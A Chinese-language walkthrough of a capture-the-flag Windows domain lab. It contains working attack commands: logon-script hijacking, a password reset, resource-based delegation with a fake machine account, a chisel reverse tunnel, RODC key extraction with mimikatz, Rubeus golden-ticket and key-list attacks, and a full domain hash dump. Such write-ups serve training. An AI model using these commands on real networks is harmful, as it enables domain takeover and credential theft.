基本信息

1
As is common in real life pentests, you will start the Garfield box with credentials for the following account j.arbuckle / Th1sD4mnC4t!@1978

端口扫描

没有web，常规windows域端口：

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
$ nmap -sC -sV -Pn 10.129.213.156
Starting Nmap 7.99 ( https://nmap.org ) at 2026-04-11 13:37 +0900
Nmap scan report for 10.129.213.156
Host is up (0.12s latency).
Not shown: 986 filtered tcp ports (no-response)
PORT     STATE SERVICE       VERSION
53/tcp   open  domain        Simple DNS Plus
88/tcp   open  kerberos-sec  Microsoft Windows Kerberos (server time: 2026-04-11 12:39:35Z)
135/tcp  open  msrpc         Microsoft Windows RPC
139/tcp  open  netbios-ssn   Microsoft Windows netbios-ssn
389/tcp  open  ldap          Microsoft Windows Active Directory LDAP (Domain: garfield.htb, Site: Default-First-Site-Name)
445/tcp  open  microsoft-ds?
464/tcp  open  kpasswd5?
593/tcp  open  ncacn_http    Microsoft Windows RPC over HTTP 1.0
636/tcp  open  tcpwrapped
2179/tcp open  vmrdp?
3268/tcp open  ldap          Microsoft Windows Active Directory LDAP (Domain: garfield.htb, Site: Default-First-Site-Name)
3269/tcp open  tcpwrapped
3389/tcp open  ms-wbt-server Microsoft Terminal Services
| rdp-ntlm-info:
|   Target_Name: GARFIELD
|   NetBIOS_Domain_Name: GARFIELD
|   NetBIOS_Computer_Name: DC01
|   DNS_Domain_Name: garfield.htb
|   DNS_Computer_Name: DC01.garfield.htb
|   DNS_Tree_Name: garfield.htb
|   Product_Version: 10.0.17763
|_  System_Time: 2026-04-11T12:39:57+00:00
| ssl-cert: Subject: commonName=DC01.garfield.htb
| Not valid before: 2026-02-13T01:10:36
|_Not valid after:  2026-08-15T01:10:36
|_ssl-date: 2026-04-11T12:40:39+00:00; +8h00m03s from scanner time.
5985/tcp open  http          Microsoft HTTPAPI httpd 2.0 (SSDP/UPnP)
|_http-title: Not Found
|_http-server-header: Microsoft-HTTPAPI/2.0
Service Info: Host: DC01; OS: Windows; CPE: cpe:/o:microsoft:windows

Host script results:
|_clock-skew: mean: 8h00m02s, deviation: 0s, median: 8h00m01s
| smb2-time:
|   date: 2026-04-11T12:39:58
|_  start_date: N/A
| smb2-security-mode:
|   3.1.1:
|_    Message signing enabled and required

Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 168.50 seconds

445 SMB

给的帐号登录smb，发现对SYSVOL有权限，特别是scripts里面有一个printerDetect.bat有写权限：

1
smbclient.py j.arbuckle:'Th1sD4mnC4t!@1978'@10.129.213.156

bloodhound

添加hosts后收集bloodhound之类：

1
2
3
4
5
6
7
8
9
10
11
# hosts
10.129.213.156 garfield.htb DC01.garfield.htb DC01

# ntp
sudo sntp -sS 10.129.213.156

# bloodhound
bloodhound-python -u j.arbuckle -p 'Th1sD4mnC4t!@1978' -c All -d garfield.htb -ns 10.129.213.156 --zip

# writable
bloodyAD --host DC01.garfield.htb -d garfield.htb -u j.arbuckle -p 'Th1sD4mnC4t!@1978' get writable

可以看到j.arbuckle是IT Support组成员，对一些用户有写权限，其中Liz Wilson还有个ADM用户：

script to L.WILSON

前面可以看到SMB里script，那个是用来登录时自动运行的，两边都有写权限，所以直接修改脚本内容，以及修改用户脚本路径，来获得L.WILSON

1
2
3
4
5
6
7
8
# 修改脚本内容
put printerDetect.bat

# 修改script path
bloodyAD --host garfield.htb -u j.arbuckle -p 'Th1sD4mnC4t!@1978' set object "CN=Liz Wilson,CN=Users,DC=garfield,DC=htb" scriptPath -v printerDetect.bat 

# 验证
bloodyAD --host garfield.htb -u j.arbuckle -p 'Th1sD4mnC4t!@1978' get object "CN=Liz Wilson,CN=Users,DC=garfield,DC=htb" --attr scriptPath

l.wilson_adm & user flag

l.wilson对l.wilson_adm有修改密码权限，直接改密码后登录即可：

1
2
3
4
5
6
# change password
$newpass = ConvertTo-SecureString 'Password123!' -AsPlainText -Force
Set-ADAccountPassword -Identity l.wilson_adm -NewPassword $newpass -Reset

# winrm login
evil-winrm-py -i 10.129.213.156 -u l.wilson_adm -p 'Password123!'

RODC

下一步目标很明显是RODC，有WriteAccountRestrictions就直接RBCD：

RBCD to RODC01

首先RBCD来获取RODC01 system:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
# 创建机器账号
addcomputer.py garfield.htb/l.wilson_adm:'Password123!' -computer-name 'FAKE$' -computer-pass 'FakePass123!' -dc-ip 10.129.213.156

# l.wilson_adm权限，设置RBCD
Set-ADComputer RODC01 -PrincipalsAllowedToDelegateToAccount FAKE$

# 获取ticket
getST.py garfield.htb/'FAKE$':'FakePass123!' -spn cifs/RODC01.garfield.htb -impersonate Administrator -dc-ip 10.129.213.156

# export
export KRB5CCNAME=Administrator@cifs_RODC01.garfield.htb@GARFIELD.HTB.ccache

# 打通代理
# local
$ ./chisel_1.7.0-rc7_darwin_amd64 server -p 9999 --reverse
# target
.\chisel.exe client 10.10.14.8:9999 R:socks
# hosts
192.168.100.2 RODC01.garfield.htb

# login
proxychains4 -q psexec.py -k -no-pass garfield.htb/Administrator@RODC01.garfield.htb

RODC

接下来就是RODC部分，提取密钥，执行keylistattack：

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
# 添加到rodc admin
bloodyAD --host garfield.htb -u l.wilson_adm -p 'Password123!' add groupMember "RODC Administrators" l.wilson_adm

# 修改rodc01 属性
$ powerview l.wilson_adm:'Password123!'@10.129.213.156

Set-DomainObject -Identity RODC01$ -Set msDS-RevealOnDemandGroup='CN=Allowed RODC Password Replication Group,CN=Users,DC=garfield,DC=htb'

Set-DomainObject -Identity RODC01$ -Append msDS-RevealOnDemandGroup='CN=Administrator,CN=Users,DC=garfield,DC=htb'

Set-DomainObject -Identity RODC01$ -Clear 'msDS-NeverRevealGroup'

# rodc01 dump aes key
mimikatz.exe "privilege::debug" "lsadump::lsa /inject /name:krbtgt_8245" "exit"

es256_hmac       (4096) : d6c93cbe006372adb8403630f9e86594f52c8105a52f9b21fef62e9c7a75e240

keylistattack to root

一切准备就绪后就是keylistattack：

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
proxychains4 -q secretsdump.py -k -no-pass garfield.htb/Administrator@RODC01.garfield.htb

# RODC Golden ticket
Rubeus.exe golden /rodcNumber:8245 /flags:forwardable,renewable,enc_pa_rep /nowrap /outfile:ticket.kirbi /aes256:d6c93cbe006372adb8403630f9e86594f52c8105a52f9b21fef62e9c7a75e240 /user:Administrator /id:500 /domain:garfield.htb /sid:S-1-5-21-2502726253-3859040611-225969357

# 获取TGT
.\Rubeus.exe asktgs /enctype:aes256 /keyList /service:krbtgt/garfield.htb /dc:DC01.garfield.htb /ticket:ticket_2026_04_11_14_17_37_Administrator_to_krbtgt@GARFIELD.HTB.kirbi /nowrap

# 转换格式
cat ticket.b64 | base64 -d > ticket.kirbi
ticketConverter.py ticket.kirbi ticket.ccache

# 使用
export KRB5CCNAME=ticket.ccache
psexec.py -k -no-pass garfield.htb/Administrator@DC01.garfield.htb

hashdump

1
2
3
4
5
6
7
8
9
10
11
12
secretsdump.py -k -no-pass garfield.htb/Administrator@DC01.garfield.htb -just-dc-ntlm

Administrator:500:aad3b435b51404eeaad3b435b51404ee:ee238f6debc752010428f20875b092d5:::
Guest:501:aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0:::
krbtgt:502:aad3b435b51404eeaad3b435b51404ee:077a59724e58efbf6608853652a66f80:::
krbtgt_8245:1603:aad3b435b51404eeaad3b435b51404ee:445aa4221e751da37a10241d962780e2:::
garfield.htb\j.arbuckle:3101:aad3b435b51404eeaad3b435b51404ee:f705091e5d14d5c25ace5f52ea4d8ecb:::
garfield.htb\l.wilson:3105:aad3b435b51404eeaad3b435b51404ee:dc6e2c16d8baac7cc239f160783ae2b0:::
garfield.htb\l.wilson_adm:3107:aad3b435b51404eeaad3b435b51404ee:2b576acbe6bcfda7294d6bd18041b8fe:::
DC01$:1000:aad3b435b51404eeaad3b435b51404ee:22acecfd924465afc92bf3c3631bbc91:::
RODC01$:1602:aad3b435b51404eeaad3b435b51404ee:0a3f810964bb5e1f0e52245f73700172:::
FAKE$:10601:aad3b435b51404eeaad3b435b51404ee:c16909555f24a7787bf9fb53310fcb84:::

参考资料